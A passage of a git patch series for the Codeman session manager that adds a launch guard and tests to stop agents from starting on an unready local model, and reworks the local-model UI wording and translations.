again.', + errorCode: 'OPERATION_FAILED', + data: { message: { text: 'The disk is full. Free up space, then try again.' } }, }); }); @@ -743,6 +766,46 @@ describe('the install verbs', () => { expect(f.service.resume.mock.calls[0][1]).toEqual({ username: 'admin', ip: '127.0.0.1' }); }); + it('resume and runtime hand the service the live sessions on the model, read at the moment of the request', async () => { + const f = fakes(); + const sessions = new Map<string, SessionLike>([ + ['a', { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }], + ['b', { name: 'w2-app', customModel: { endpointId: 'office-gpu' } }], + ]); + const { app } = await createRouteTestHarness((instance) => + registerLocalModelRoutes(instance, { sessions }, f.deps) + ); + await app.inject({ method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } }); + await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { newPort: true } }); + sessions.delete('a'); + await app.inject({ method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } }); + expect(f.service.runtime.mock.calls.map((args) => args[1])).toEqual([['w1-app'], []]); + expect(f.service.resume.mock.calls[0][2]).toEqual(['w1-app']); + }); + + it('a stop while a live session uses the model: 409 with the session names', async () => { + const f = fakes(); + f.service.runtime.mockImplementation(async (_request, names = []) => ({ + ok: false, + status: 409, + conflict: { + reason: 'sessions-open', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: names.join(', ') } }, + sessions: [...names], + }, + })); + const { app } = await harness(f.deps, undefined, [ + { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }, + ]); + const res = await app.inject({ method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } }); + expect(res.statusCode).toBe(409); + expect(res.json()).toMatchObject({ + errorCode: 'CONFLICT', + error: 'Sessions are still using this model: w1-app. Close them first.', + data: { reason: 'sessions-open', sessions: ['w1-app'] }, + }); + }); + it('resume refuses a body it does not know', async () => { const f = fakes(); const { app } = await harness(f.deps); From 3c4bb91d6f68db8b38291b3c187b260ea1fb932b Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 23:54:46 +0100 Subject: [PATCH 21/28] fix(local-model): ask the launch guard before every start of an agent on the managed endpoint Only the two session routes asked launchRefusalMessage(). The attach that finds no pane, the respawn of a dead pane (a click on the tab, a respawn start, the boot recovery), restartCli() and the reboot-restore rebuild started an agent on the endpoint unasked. Session gains setLaunchGuard(), asked right before a NEW agent process is started and never for an attach to an agent that runs; WebServer.setupSessionListeners() sets it for every session; a refusal is a LaunchRefusedError that never falls back to a direct PTY. The reboot-restore route asks before it builds and skips the entry with its own reason, left on offer. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/reboot-restore.ts | 2 + src/session.ts | 48 +++ src/web/public/reboot-restore-ui.js | 2 + src/web/routes/reboot-restore-routes.ts | 16 + src/web/server.ts | 11 + test/local-model-session-launch-guard.test.ts | 294 ++++++++++++++++++ test/routes/local-model-launch-guard.test.ts | 9 +- 7 files changed, 380 insertions(+), 2 deletions(-) create mode 100644 test/local-model-session-launch-guard.test.ts diff --git a/src/reboot-restore.ts b/src/reboot-restore.ts index fe7bff40..b1aec5f4 100644 --- a/src/reboot-restore.ts +++ b/src/reboot-restore.ts @@ -134,6 +134,8 @@ export interface RebootRestoreRejection { | 'workspace-forbidden' | 'already-live' | 'capacity-reached' + /** The session ran on the model Codeman runs on this Mac, and that model cannot be started on right now. */ + | 'local-model-not-ready' | 'rebuild-failed'; } diff --git a/src/session.ts b/src/session.ts index 4b84fb5d..9d17f767 100644 --- a/src/session.ts +++ b/src/session.ts @@ -510,6 +510,18 @@ export class GuardedInputBusyError extends Error { } } +/** + * The session's launch guard refused the start of a new agent process + * (`Session.setLaunchGuard()`). Its message is the sentence for the user. A typed error, so a + * start that was refused is told apart from a tmux failure and never falls back to a direct PTY. + */ +export class LaunchRefusedError extends Error { + constructor(message: string) { + super(message); + this.name = 'LaunchRefusedError'; + } +} + /** * Whether a programmatic write leaves the keep-alive turn running: the nudge itself, or a bare * Enter (which submits nothing new). Anything else carrying an Enter starts a turn of its own. @@ -880,6 +892,12 @@ export class Session extends EventEmitter { // config dir) without guessing what it once wrote. Persisted disk-only (`__customModel`). private _customModel: CustomModelBookkeeping | undefined; + // Asked right before a NEW agent process is started for this session (a fresh pane, the + // respawn of a dead one, a restart in place), never for an attach to an agent that runs. + // Resolves with the sentence that refuses the start, or undefined. Set by the web layer + // (`WebServer.setupSessionListeners()`); this file does not know who asks or why. + private _launchGuard: (() => Promise<string | undefined>) | null = null; + // Env keys a retired custom-model selection injected that the NEXT respawn must // `tmux setenv -u`. Deleting a key from `_envOverrides` alone does nothing to the // tmux session, which keeps every `setenv` and hands it to `respawn-pane`, so the @@ -2063,6 +2081,22 @@ export class Session extends EventEmitter { } } + /** + * Sets what is asked before a new agent process is started for this session (see + * `_launchGuard`). The first user is the model Codeman runs on this Mac: an agent is not + * started on it while its runtime is down or its model changed. `null` removes it. + */ + setLaunchGuard(guard: (() => Promise<string | undefined>) | null): void { + this._launchGuard = guard; + } + + /** Throws the guard's sentence (`LaunchRefusedError`) when a new agent process must not be started now. */ + private async _assertLaunchAllowed(): Promise<void> { + if (!this._launchGuard) return; + const refusal = await this._launchGuard(); + if (refusal) throw new LaunchRefusedError(refusal); + } + // Custom Model Endpoint Profiles (docs/custom-model-endpoints-plan.md) — public-safe // subset only (never envKeys/configDir/launchModel, the bookkeeping for setCustomModel). get customModel(): CustomModelSelection | undefined { @@ -2635,6 +2669,8 @@ export class Session extends EventEmitter { let respawnedResumeId: string | undefined; if (this._muxSession && mux.isPaneDead(this._muxSession.muxName)) { console.log('[Session] Dead pane detected, respawning:', this._muxSession.muxName); + // A new agent process: asked first (see `_launchGuard`). A refusal leaves the pane as it is. + await this._assertLaunchAllowed(); // Confirmed dead — safe to resolve/pin now (see `_pinOmpRespawnId()`). // `options.respawnPaneOptions` was built eagerly before this dead-pane // check ran, so it still carries the pre-pin ompConfig; rebuild it. @@ -2689,6 +2725,8 @@ export class Session extends EventEmitter { this._resumeSessionId = pinned; } } + // A new agent process: asked first (see `_launchGuard`). + await this._assertLaunchAllowed(); this._muxSession = await mux.createSession(options.createSessionOptions); console.log('[Session] Created mux session:', this._muxSession.muxName); // No extra sleep — createSession() already waits for tmux readiness @@ -2808,6 +2846,9 @@ export class Session extends EventEmitter { return false; } + // A new agent process: asked first (see `_launchGuard`). A refusal rejects, and the pane + // keeps what runs in it. + await this._assertLaunchAllowed(); this._pinOmpRespawnId(); const newPid = await mux.respawnPane(await this._buildRespawnPaneOptionsWithResumePin()); if (!newPid) { @@ -3461,6 +3502,9 @@ export class Session extends EventEmitter { this._armPaneSettle(true); } } catch (err) { + // A refused launch is an answer, not a tmux failure: it must not fall through to + // the direct PTY below, which would start the very process that was refused. + if (err instanceof LaunchRefusedError) throw err; if (this._adopt) this._failAdoptedStart(err); console.error('[Session] Failed to create mux session, falling back to direct PTY:', err); this._useMux = false; @@ -3482,6 +3526,8 @@ export class Session extends EventEmitter { throw new Error(`${getModeLabel(this.mode)} sessions require tmux. Direct PTY fallback is not supported.`); } if (this._adopt) this._failAdoptedStart(new Error('tmux is not available')); + // A new agent process on this path too: asked first (see `_launchGuard`). + await this._assertLaunchAllowed(); try { // Pass --session-id to use the SAME ID as the Codeman session // This ensures subagents can be directly matched to the correct tab. @@ -4485,6 +4531,8 @@ export class Session extends EventEmitter { }, 100); } } catch (err) { + // As in startInteractive(): a refused launch never falls back to a direct PTY. + if (err instanceof LaunchRefusedError) throw err; if (this._adopt) this._failAdoptedStart(err); console.error('[Session] Failed to create mux session, falling back to direct PTY:', err); this._useMux = false; diff --git a/src/web/public/reboot-restore-ui.js b/src/web/public/reboot-restore-ui.js index 1e738bdd..58653cc9 100644 --- a/src/web/public/reboot-restore-ui.js +++ b/src/web/public/reboot-restore-ui.js @@ -40,6 +40,8 @@ function rebootSkipReason(reason) { return 'already open'; case 'capacity-reached': return 'session limit reached'; + case 'local-model-not-ready': + return 'the local model is not ready'; case 'rebuild-failed': return 'the agent would not start'; default: diff --git a/src/web/routes/reboot-restore-routes.ts b/src/web/routes/reboot-restore-routes.ts index 7945e96d..9cffe9f5 100644 --- a/src/web/routes/reboot-restore-routes.ts +++ b/src/web/routes/reboot-restore-routes.ts @@ -35,6 +35,7 @@ import { isWorkingDirAllowedForUsername, sessionCapacityMessage, } from '../route-helpers.js'; +import { getLocalModelService } from '../../local-model/install-job.js'; import { rebootRestoreRegistry } from '../reboot-restore-registry.js'; import { rejectAlreadyLive, type RebootRestoreEntry, type RebootRestoreRejection } from '../../reboot-restore.js'; import { clampEnvOverridesForOwner } from '../../session-env-clamp.js'; @@ -163,6 +164,21 @@ export function registerRebootRestoreRoutes(app: FastifyInstance, ctx: RebootRes failures.push({ sessionId: entry.sessionId, reason: 'workspace-forbidden' }); continue; } + // A session that ran on the model Codeman runs on this Mac is rebuilt only while that + // model can be started on: its own runtime is up and its digest is the one stored at + // install time. Asked before anything is built, like the two session routes; the + // session's own launch guard would refuse the start too, but only after the session + // exists. Every other endpoint, and a session without one, is answered `undefined`. + const savedModel = (entry.state as { __customModel?: { endpointId?: string; modelId?: string } }).__customModel; + if (savedModel && typeof savedModel.endpointId === 'string' && typeof savedModel.modelId === 'string') { + const refusal = await getLocalModelService().launchRefusalMessage(savedModel.endpointId, savedModel.modelId); + if (refusal) { + console.warn(`[reboot-restore] ${entry.sessionId} is not rebuilt: ${refusal}`); + // Left on offer: the model can be started (or installed again) and the click repeated. + failures.push({ sessionId: entry.sessionId, reason: 'local-model-not-ready' }); + continue; + } + } try { const saved = entry.state; const claudeModeConfig = await ctx.getClaudeModeConfig(); diff --git a/src/web/server.ts b/src/web/server.ts index d8f2ace3..0a47f4d6 100644 --- a/src/web/server.ts +++ b/src/web/server.ts @@ -2194,6 +2194,17 @@ export class WebServer extends EventEmitter { // First keep-warm evaluation: publishes the effective opt-in for the Session Options // readout even before any cache report arrives. void this.keepWarmService.schedule(session.id); + // Before every start of a NEW agent process the session asks this (a fresh pane, the + // respawn of a dead one, a restart in place; never an attach to an agent that runs). + // The model Codeman runs on this Mac is the one endpoint with something to say: no agent + // is started on it while its runtime is down or its model is not the one that was + // installed. Every other session, and every other endpoint, is answered `undefined`. + // Set on every call, above the idempotency return: it holds no state of its own. + session.setLaunchGuard(async () => { + const selection = session.customModel; + if (!selection) return undefined; + return getLocalModelService().launchRefusalMessage(selection.endpointId, selection.modelId); + }); // Idempotent: the wiring exit handler detaches ALL listeners on every PTY exit // (removeSessionListenerRefs), so the re-attach routes (/interactive, // /interactive-respawn, /shell) call this again to restore observability diff --git a/test/local-model-session-launch-guard.test.ts b/test/local-model-session-launch-guard.test.ts new file mode 100644 index 00000000..5528b677 --- /dev/null +++ b/test/local-model-session-launch-guard.test.ts @@ -0,0 +1,294 @@ +/** + * @fileoverview No coding agent is STARTED on the model Codeman runs on this Mac while that + * model cannot be started on: the launch guard below the routes. + * + * The two routes that put a session onto a custom model endpoint ask the install service + * before they write anything (test/routes/local-model-launch-guard.test.ts). That leaves + * every other way a new agent process comes to be in a session that already carries the + * selection: the attach that finds no pane, the respawn of a dead pane (a click on the tab, a + * respawn start, the recovery at boot), a restart in place, and the rebuild after a reboot. + * They all end in `Session`, so the guard sits there: + * + * - `Session.setLaunchGuard()` is asked right before a NEW agent process is started (a fresh + * pane, the respawn of a dead one, `restartCli()`), and never for an attach to an agent + * that runs: a session whose runtime was stopped can still be looked at and closed. + * - `WebServer.setupSessionListeners()` sets it for every session, and it asks + * `LocalModelService.launchRefusalMessage()` with the session's own selection. + * - The reboot-restore route asks the same question before it builds anything, so the entry + * is refused with its own reason and stays on offer. + * + * The Session cases drive a real `Session` against the in-memory tmux layer vitest + * substitutes. The wiring cases use the REAL install service over the real state file, with + * no runtime running, which is exactly the state that must refuse. + * + * Port: N/A (WebServer in test mode binds none; the routes go through app.inject). + */ +import { mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { homedir } from 'node:os'; +import { join } from 'node:path'; +import Fastify, { type FastifyInstance } from 'fastify'; +import fastifyCookie from '@fastify/cookie'; +import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest'; + +import { dataPath } from '../src/config/instance.js'; +import type { RebootRestoreEntry } from '../src/reboot-restore.js'; +import { Session } from '../src/session.js'; +import { TmuxManager } from '../src/tmux-manager.js'; +import { httpStatusForErrorCode, type ApiErrorCode, type MuxSession, type SessionState } from '../src/types.js'; +import { rebootRestoreRegistry } from '../src/web/reboot-restore-registry.js'; +import { installRouteErrorHandler } from '../src/web/route-error-handler.js'; +import { registerRebootRestoreRoutes } from '../src/web/routes/reboot-restore-routes.js'; +import { WebServer } from '../src/web/server.js'; +import { createMockRouteContext, safeRmHomeTree } from './mocks/index.js'; + +const WORKSPACE = join(homedir(), 'codeman-cases', 'local-model-launch-guard'); +const STATE = () => dataPath('local-model.json'); +const NOT_RUNNING = 'The model on this Mac is not running. Start it first.'; +const CHANGED = 'The model on this Mac changed since it was installed. Remove it and install it again.'; +const SELECTION = { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b', envKeys: [] as string[] }; + +const sessions: Session[] = []; + +function paneOf(mode: 'claude' | 'opencode' = 'claude'): MuxSession { + return { + sessionId: 'placeholder', + muxName: 'codeman-cafe0002', + pid: 1, + createdAt: Date.now(), + workingDir: WORKSPACE, + mode, + attached: false, + }; +} + +/** A session that already has a pane, alive or dead as the test says. */ +function sessionWithPane(dead: boolean) { + mkdirSync(WORKSPACE, { recursive: true }); + const mux = new TmuxManager(); + const session = new Session({ workingDir: WORKSPACE, mode: 'claude', mux, useMux: true, muxSession: paneOf() }); + sessions.push(session); + vi.spyOn(mux, 'muxSessionExists').mockReturnValue(true); + vi.spyOn(mux, 'isPaneDead').mockReturnValue(dead); + const respawn = vi.spyOn(mux, 'respawnPane').mockResolvedValue(4242); + const create = vi.spyOn(mux, 'createSession'); + return { session, mux, respawn, create }; +} + +/** The state file of an installed model whose connection is the managed record. No runtime runs. */ +function writeInstalledState(): void { + writeFileSync( + STATE(), + JSON.stringify({ + schema: 1, + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, digest: 'abc123' }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + }) + ); +} + +afterEach(() => { + for (const session of sessions.splice(0)) session.stop(); + rmSync(STATE(), { force: true }); + rebootRestoreRegistry.reset(); + vi.restoreAllMocks(); +}); + +afterAll(() => { + safeRmHomeTree(WORKSPACE); +}); + +describe('Session: the guard is asked before a new agent process, and only then', () => { + it('a restart in place that is refused rejects with the sentence, and the pane keeps what runs in it', async () => { + const { session, respawn } = sessionWithPane(false); + const guard = vi.fn(async () => CHANGED); + session.setLaunchGuard(guard); + await expect(session.restartCli()).rejects.toThrow(CHANGED); + expect(guard).toHaveBeenCalledTimes(1); + expect(respawn).not.toHaveBeenCalled(); + }); + + it('a guard that has nothing to say lets the restart through', async () => { + const { session, respawn } = sessionWithPane(false); + session.setLaunchGuard(async () => undefined); + expect(await session.restartCli()).toBe(true); + expect(respawn).toHaveBeenCalledTimes(1); + }); + + it('without a guard nothing changes', async () => { + const { session, respawn } = sessionWithPane(false); + expect(await session.restartCli()).toBe(true); + expect(respawn).toHaveBeenCalledTimes(1); + }); + + it('an attach to a pane whose agent runs is never asked: the session can still be looked at', async () => { + const { session, respawn, create } = sessionWithPane(false); + const guard = vi.fn(async () => NOT_RUNNING); + session.setLaunchGuard(guard); + await session.startInteractive(); + expect(guard).not.toHaveBeenCalled(); + expect(respawn).not.toHaveBeenCalled(); + expect(create).not.toHaveBeenCalled(); + }); + + it('the respawn of a dead pane is asked first, and a refusal starts nothing', async () => { + const { session, respawn, create } = sessionWithPane(true); + const guard = vi.fn(async () => NOT_RUNNING); + session.setLaunchGuard(guard); + await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING); + expect(guard).toHaveBeenCalledTimes(1); + expect(respawn).not.toHaveBeenCalled(); + // And no new pane is made in its place either. + expect(create).not.toHaveBeenCalled(); + }); + + it('a session without a pane is asked before one is created', async () => { + mkdirSync(WORKSPACE, { recursive: true }); + const mux = new TmuxManager(); + const session = new Session({ workingDir: WORKSPACE, mode: 'claude', mux, useMux: true }); + sessions.push(session); + const create = vi.spyOn(mux, 'createSession'); + session.setLaunchGuard(async () => NOT_RUNNING); + await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING); + expect(create).not.toHaveBeenCalled(); + + // The guard taken away again: the pane is created. + session.setLaunchGuard(null); + create.mockResolvedValue(paneOf()); + await session.startInteractive(); + expect(create).toHaveBeenCalledTimes(1); + }); +}); + +describe('WebServer: every session asks the install service about its own selection', () => { + interface ServerInternals { + setupSessionListeners(session: Session): Promise<void>; + discardPartiallyBuiltSession(sessionId: string): Promise<void>; + } + let server: WebServer; + let internals: ServerInternals; + + beforeAll(() => { + // Test mode: no port is opened and no CLI is launched. + server = new WebServer(0, false, true); + internals = server as unknown as ServerInternals; + }); + + afterAll(async () => { + await server.stop().catch(() => {}); + }); + + async function wired(selection?: typeof SELECTION) { + const made = sessionWithPane(false); + if (selection) made.session.setCustomModel(selection, {}); + await internals.setupSessionListeners(made.session); + return made; + } + + it('a session on the managed endpoint is not restarted while the runtime is down', async () => { + writeInstalledState(); + const { session, respawn } = await wired(SELECTION); + await expect(session.restartCli()).rejects.toThrow(NOT_RUNNING); + expect(respawn).not.toHaveBeenCalled(); + await internals.discardPartiallyBuiltSession(session.id).catch(() => {}); + }); + + it('nor is its dead pane respawned, which is what a click on the tab and the boot recovery do', async () => { + writeInstalledState(); + const { session, mux, respawn } = await wired(SELECTION); + vi.spyOn(mux, 'isPaneDead').mockReturnValue(true); + await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING); + expect(respawn).not.toHaveBeenCalled(); + await internals.discardPartiallyBuiltSession(session.id).catch(() => {}); + }); + + it('only the model that was installed may be started on it', async () => { + writeInstalledState(); + const { session } = await wired({ ...SELECTION, modelId: 'something-pulled-by-hand' }); + await expect(session.restartCli()).rejects.toThrow(/Only Qwen3\.6 35B-A3B is installed on this Mac|not running/); + await internals.discardPartiallyBuiltSession(session.id).catch(() => {}); + }); + + it('a session on another endpoint, and one without a selection, start as before', async () => { + writeInstalledState(); + const other = await wired({ ...SELECTION, endpointId: 'office-gpu' }); + expect(await other.session.restartCli()).toBe(true); + await internals.discardPartiallyBuiltSession(other.session.id).catch(() => {}); + const plain = await wired(); + expect(await plain.session.restartCli()).toBe(true); + await internals.discardPartiallyBuiltSession(plain.session.id).catch(() => {}); + }); + + it('a selection made AFTER the listeners were wired is asked about too', async () => { + writeInstalledState(); + const { session, respawn } = await wired(); + session.setCustomModel(SELECTION, {}); + await expect(session.restartCli()).rejects.toThrow(NOT_RUNNING); + expect(respawn).not.toHaveBeenCalled(); + await internals.discardPartiallyBuiltSession(session.id).catch(() => {}); + }); +}); + +describe('POST /api/reboot-restore/restore: a session that ran on the managed endpoint', () => { + async function harness(ctx: ReturnType<typeof createMockRouteContext>): Promise<FastifyInstance> { + const app = Fastify({ logger: false }); + await app.register(fastifyCookie); + registerRebootRestoreRoutes(app, ctx as never); + app.addHook('preSerialization', (req, reply, payload: unknown, done) => { + if (payload === null || typeof payload !== 'object') return done(null, payload); + const p = payload as { success?: unknown; errorCode?: unknown }; + if (p.success === false) { + if (reply.statusCode === 200 && typeof p.errorCode === 'string') { + reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode)); + } + return done(null, payload); + } + if (p.success === true) return done(null, payload); + return done(null, { success: true, data: payload }); + }); + installRouteErrorHandler(app); + await app.ready(); + return app; + } + + /** An entry whose workspace exists, so only the model question can stop it. */ + function entryOn(endpointId: string): RebootRestoreEntry { + mkdirSync(WORKSPACE, { recursive: true }); + return { + sessionId: 'feedbeef00000001', + name: 'w1-app', + workingDir: WORKSPACE, + mode: 'claude', + resumeConversationId: 'conv-1', + state: { + id: 'feedbeef00000001', + pid: null, + status: 'idle', + workingDir: WORKSPACE, + currentTaskId: null, + createdAt: 1_760_000_000_000, + mode: 'claude', + __customModel: { endpointId, modelId: 'qwen3.6:35b-a3b', envKeys: [] }, + } as unknown as SessionState, + }; + } + + it('is not rebuilt while the model cannot be started on, says why, and stays on offer', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeInstalledState(); + rebootRestoreRegistry.set([entryOn('local-ollama')]); + const ctx = createMockRouteContext(); + const app = await harness(ctx); + const body = (await app.inject({ method: 'POST', url: '/api/reboot-restore/restore', payload: {} })).json().data; + expect(body.restored).toEqual([]); + expect(body.skipped).toEqual([{ sessionId: 'feedbeef00000001', reason: 'local-model-not-ready' }]); + // Nothing was built: no session was added, so there is nothing to discard. + expect(ctx.addSession).not.toHaveBeenCalled(); + // The model can be started and the click repeated. + const left = (await app.inject({ method: 'GET', url: '/api/reboot-restore' })).json().data; + expect(left.sessions.map((s: { id: string }) => s.id)).toEqual(['feedbeef00000001']); + await app.close(); + }); +}); diff --git a/test/routes/local-model-launch-guard.test.ts b/test/routes/local-model-launch-guard.test.ts index ce77f5f0..15bbfce7 100644 --- a/test/routes/local-model-launch-guard.test.ts +++ b/test/routes/local-model-launch-guard.test.ts @@ -1,6 +1,7 @@ /** - * @fileoverview The launch guard of the endpoint the local model install manages: both ways a - * session gets onto a custom model endpoint ask the install service first. + * @fileoverview The launch guard of the endpoint the local model install manages, at the two + * routes that put a session onto a custom model endpoint: they ask the install service before + * anything is written. * * - `POST /api/sessions/:id/custom-model` (a running session switches to the endpoint), and * - `POST /api/quick-start` with `customModel` (a session is created on it) @@ -11,6 +12,10 @@ * model whose digest is no longer the one stored at install time is not launched, and how * nothing is launched against a port our runtime is not on. * + * Every OTHER way a new agent process comes to be on the endpoint (the attach that finds no + * pane, the respawn of a dead pane, a restart in place, the rebuild after a reboot) is + * covered below the routes, by `Session`'s launch guard: test/local-model-session-launch-guard.test.ts. + * * The service is replaced by a fake for most cases, and is the REAL one (over the real state * file, with no runtime running) for the cases that pin the default wiring. * From 77d29d4621f988f388ea2d455b72b40348c94da3 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 23:55:02 +0100 Subject: [PATCH 22/28] feat(local-model): one frame for the window, honest figures, a table for the consent The window is one frame for the whole flow: a fixed height on desktop, App Settings' boxed close button, the buttons in a foot of their own outside the part that scrolls, so a click never moves the next button away and nothing is cut off; the short screens are centred in it on desktop and sit above the buttons on a phone. The chooser lists the pick first and then the other models by download size, largest first, a column the reader can see. A pick that only just fits says "Best fit, tight". The memory figure is an estimate and says so once, in whole GB; its legend names the peak, and the installed line uses the same words beside what the model takes now, so the two figures are not read as a contradiction. The legend, the column headers and the foot's promise are set in --text-dim, the bar's track in --text-muted so its free part can be seen, and only the download figure keeps tabular figures. The consent screen is the download as a table: the chosen row, the runtime, the coding agent with its installer's command as the row's second line, the total in the strong weight, then where it goes in one line. The download bar means the model download alone and is gone once the model is in; the screen that ends an install shows "Start a session" alone; an error on an installed model is the headline with a grey dot; an error's first sentence is the headline; Remove is quiet everywhere but red in its own question. The no-recommendation reasons are one sentence each, and the untested note is in Codeman's voice. A refusal the server names is printed from its sentence. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/local-model/recommend.ts | 16 +- src/types/local-model.ts | 29 ++- src/web/public/i18n.js | 72 ++++-- src/web/public/index.html | 3 + src/web/public/local-model-ui.js | 396 +++++++++++++++++++++-------- src/web/public/mobile.css | 30 ++- src/web/public/styles.css | 194 ++++++++++---- test/local-model-recommend.test.ts | 62 +++-- test/local-model-ui.test.ts | 289 ++++++++++++++++----- 9 files changed, 777 insertions(+), 314 deletions(-) diff --git a/src/local-model/recommend.ts b/src/local-model/recommend.ts index 752a32df..54a747f4 100644 --- a/src/local-model/recommend.ts +++ b/src/local-model/recommend.ts @@ -313,14 +313,16 @@ function buildCandidate( } /** - * The one tag of a row: the first kind that applies, in the order tested, best (the pick), - * tight, slow, small. `undefined` when none does. + * The one tag of a row: the first kind that applies, in the order tested, the pick (which + * says so when it only just fits), tight, slow, small. `undefined` when none does. */ function tagFor(candidate: Candidate, isPick: boolean): CandidateTag | undefined { const kind: CandidateTagKind | undefined = candidate.tested ? 'tested' : isPick - ? 'best' + ? candidate.fit === 'tight' + ? 'best-tight' + : 'best' : candidate.fit === 'tight' ? 'tight' : candidate.speed === 'slow' @@ -442,12 +444,8 @@ export function recommend( const hasRoom = (model: LocalModelEntry): boolean => free === undefined || free - model.bytes >= DISK_HEADROOM_BYTES; if (free !== undefined && !accepted.some((entry) => hasRoom(entry.model))) { const smallest = Math.min(...accepted.map((entry) => entry.model.bytes)); - return none('disk', budget, { - download: formatGb(smallest), - reserve: formatGb(DISK_HEADROOM_BYTES), - free: hw.freeDiskGb ?? formatGb(free), - missing: formatGb(smallest + DISK_HEADROOM_BYTES - free), - }); + // One number, the one that says what to do: what must be freed for the smallest model. + return none('disk', budget, { missing: formatGb(smallest + DISK_HEADROOM_BYTES - free) }); } // Everything that fits is ranked, the models without room on the disk included: the best of diff --git a/src/types/local-model.ts b/src/types/local-model.ts index 4e146941..5baa6903 100644 --- a/src/types/local-model.ts +++ b/src/types/local-model.ts @@ -351,7 +351,7 @@ export const LOCAL_MODEL_LABELS = { headlineLimited: 'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.', /** A note under an `ok` or `limited` pick whose `tested` is false. */ - noteUntested: 'Not yet tested by us on a Mac like this.', + noteUntested: 'Codeman has not run this on a Mac like this yet.', /** A note under an `ok` pick that is itself a small model: larger ones fit this Mac, but rank lower or have no room on the disk. */ noteSmallPick: 'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.', @@ -363,18 +363,17 @@ export const LOCAL_MODEL_LABELS = { speedSlow: 'Slow', speedUnknown: 'Speed unknown', noneNotMacos: 'Codeman recommends a local model only on a Mac with Apple silicon.', - noneIntel: 'This Mac has an Intel processor. Local coding models need Apple silicon.', + noneIntel: 'Local coding models need Apple silicon, and this Mac has an Intel processor.', /** Reason `memory`: nothing fits at any context. */ - noneMemory: - 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', - /** Reason `memory`: a model fits, but only below the context a harness needs. Says both numbers, and that they are an estimate. */ + noneMemory: 'With {memory} GB of memory, this Mac cannot run a model that can drive a coding agent.', + /** Reason `memory`: a model fits, but only below the context a harness needs. Says both numbers, and ("about") that they are estimates. */ noneMemoryContext: - 'Codeman estimates that this Mac can give a model about {budget} GB of memory. The smallest model a coding agent can work with needs about {need} GB. That leaves no safe margin, so Codeman recommends none here.', + 'This Mac can give a model about {budget} GB of memory, and the smallest model a coding agent can work with needs about {need} GB.', /** Reason `memory`: the memory size could not be read, so no size is stated. */ noneMemoryUnknown: 'Codeman could not read how much memory this Mac has, so it recommends no model here.', - noneDisk: - 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download, and {reserve} GB must stay free after it. {free} GB is free now. Free up about {missing} GB.', - noneMacos: 'This Mac runs macOS {version}. Local models need macOS {minimum} or newer.', + /** Reason `disk`. One number: what to do. The other sizes travel in `vars` for a client that wants them. */ + noneDisk: 'Free up about {missing} GB of disk space to install the smallest model that fits this Mac.', + noneMacos: 'Local models need macOS {minimum} or newer, and this Mac runs macOS {version}.', noneNoHarness: 'No coding agent that Codeman can connect to a local model is available on this Mac.', } as const; @@ -401,14 +400,17 @@ export interface LocalModelMessage { /** * The one tag a model row of the chooser carries, by what it says. * - `tested`: `Candidate.tested` is true. Replaces every other tag. - * - `best`: the pick. The one tag drawn in the accent colour. + * - `best-tight`: the pick, when its `fit` is `tight`. The words must not say less than the + * memory bar beside them, which is nearly full for such a row. + * - `best`: the pick. * - `tight`: `Candidate.fit` is `tight`. * - `slow`: `Candidate.speed` is `slow`. * - `small`: the model has fewer than 12 billion parameters. - * A row gets the FIRST kind of this list that applies and no tag when none does, so a pick - * that is tight says "Best fit" (the memory bar already shows how full it is). + * A row gets the FIRST kind of this list that applies and no tag when none does. `tested`, + * `best` and `best-tight` are the tags of the row the window opens on, drawn in the accent + * colour. */ -export type CandidateTagKind = 'tested' | 'best' | 'tight' | 'slow' | 'small'; +export type CandidateTagKind = 'tested' | 'best-tight' | 'best' | 'tight' | 'slow' | 'small'; /** * The text of each tag, in English (the i18n source language), like `LOCAL_MODEL_LABELS`. A @@ -416,6 +418,7 @@ export type CandidateTagKind = 'tested' | 'best' | 'tight' | 'slow' | 'small'; */ export const LOCAL_MODEL_TAG_LABELS = { tested: 'Tested on a Mac like this', + 'best-tight': 'Best fit, tight', best: 'Best fit', tight: 'Tight', slow: 'Slow', diff --git a/src/web/public/i18n.js b/src/web/public/i18n.js index 47f33f7d..ac8622f7 100644 --- a/src/web/public/i18n.js +++ b/src/web/public/i18n.js @@ -1435,7 +1435,8 @@ estimated: '估算', 'The selected model needs {share}% of the memory this Mac can give a model': '所选模型需要此 Mac 可分配给模型的内存的 {share}%', - 'The model at {context} tokens of context': '模型在 {context} 个 Token 上下文下的占用', + 'The model at its peak, with all {context} tokens of context in use': + '模型的峰值占用({context} 个 Token 的上下文全部用满时)', 'What stays free': '剩余可用', 'Models that fit this Mac': '此 Mac 装得下的模型', Speed: '速度', @@ -1444,20 +1445,20 @@ '{speed} tokens/s': '{speed} Token/秒', 'about {speed} tokens/s': '约 {speed} Token/秒', 'Runs with': '搭配', - 'Not on this Mac yet. It is installed for you.': '此 Mac 上尚未安装,将为你一并安装。', + 'Not on this Mac yet. Codeman installs it for you.': '此 Mac 上尚未安装,{name} 